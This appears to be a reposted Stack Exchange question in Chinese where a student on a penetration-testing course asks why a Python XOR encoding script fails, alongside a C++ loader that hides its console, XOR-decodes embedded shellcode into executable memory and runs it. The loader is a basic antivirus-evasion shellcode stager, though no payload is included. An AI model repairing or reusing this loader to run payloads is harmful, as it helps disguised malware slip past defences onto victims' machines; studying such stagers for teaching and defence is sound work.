You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Python XOR文件加密工具失效,求渗透测试项目技术支持

XOR加密脚本与C++加载器故障求助

我正在完成高校网络安全专业的渗透测试课程项目,找到一份Python实现的XOR文件加密代码,以及对应的C++解密加载器代码。按照示例命令python xor_file.py sample.txt > output_file.txt运行Python代码时,无法正常工作。我在加密技术与Python方面经验不足,修改代码时旧问题解决后又出现新问题,附上代码寻求帮助:

Python加密代码

import sys
KEY = 'x'
def xor(data, key):

    key = str(key)

    l = len(key)

    output_str = ''

    for i in range(len(data)):

        current = data[i]

        current_key = key[i % len(key)]

        output_str += chr(ord(current) ^ ord(current_key))
    return output_str

def printCiphertext(ciphertext):
    print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")
try:
    plaintext = open(sys.argv[1], 'rb').read()
except:
    print('File argument needed! %s ' % sys.argv[0])

    sys.exit()

ciphertext = xor(plaintext, KEY)
print("{ 0x" + ", 0x".join(hex(ord(x))[2:] for x in ciphertext) + "};")

C++解密加载器代码

#include <windows.h>
#include <iostream>
int main(int argc, char **argv) {

    ShowWindow(GetConsoleWindow(), SW_HIDE);

    char b[] = {/* your XORd, with key of ‘x’, shellcode goes here i.e. 0x4C,0x4F, 0x4C */};

    char c[sizeof b];

    for (int i = 0; i < sizeof b; i++) {c[i] = b[i] ^ ‘x’;}

    void *exec = VirtualAlloc(0, sizeof c, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    memcpy(exec, c, sizeof c);

    ((void(*)())exec)();

}

内容的提问来源于stack exchange,提问作者Cole Peters

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.01 13:15:10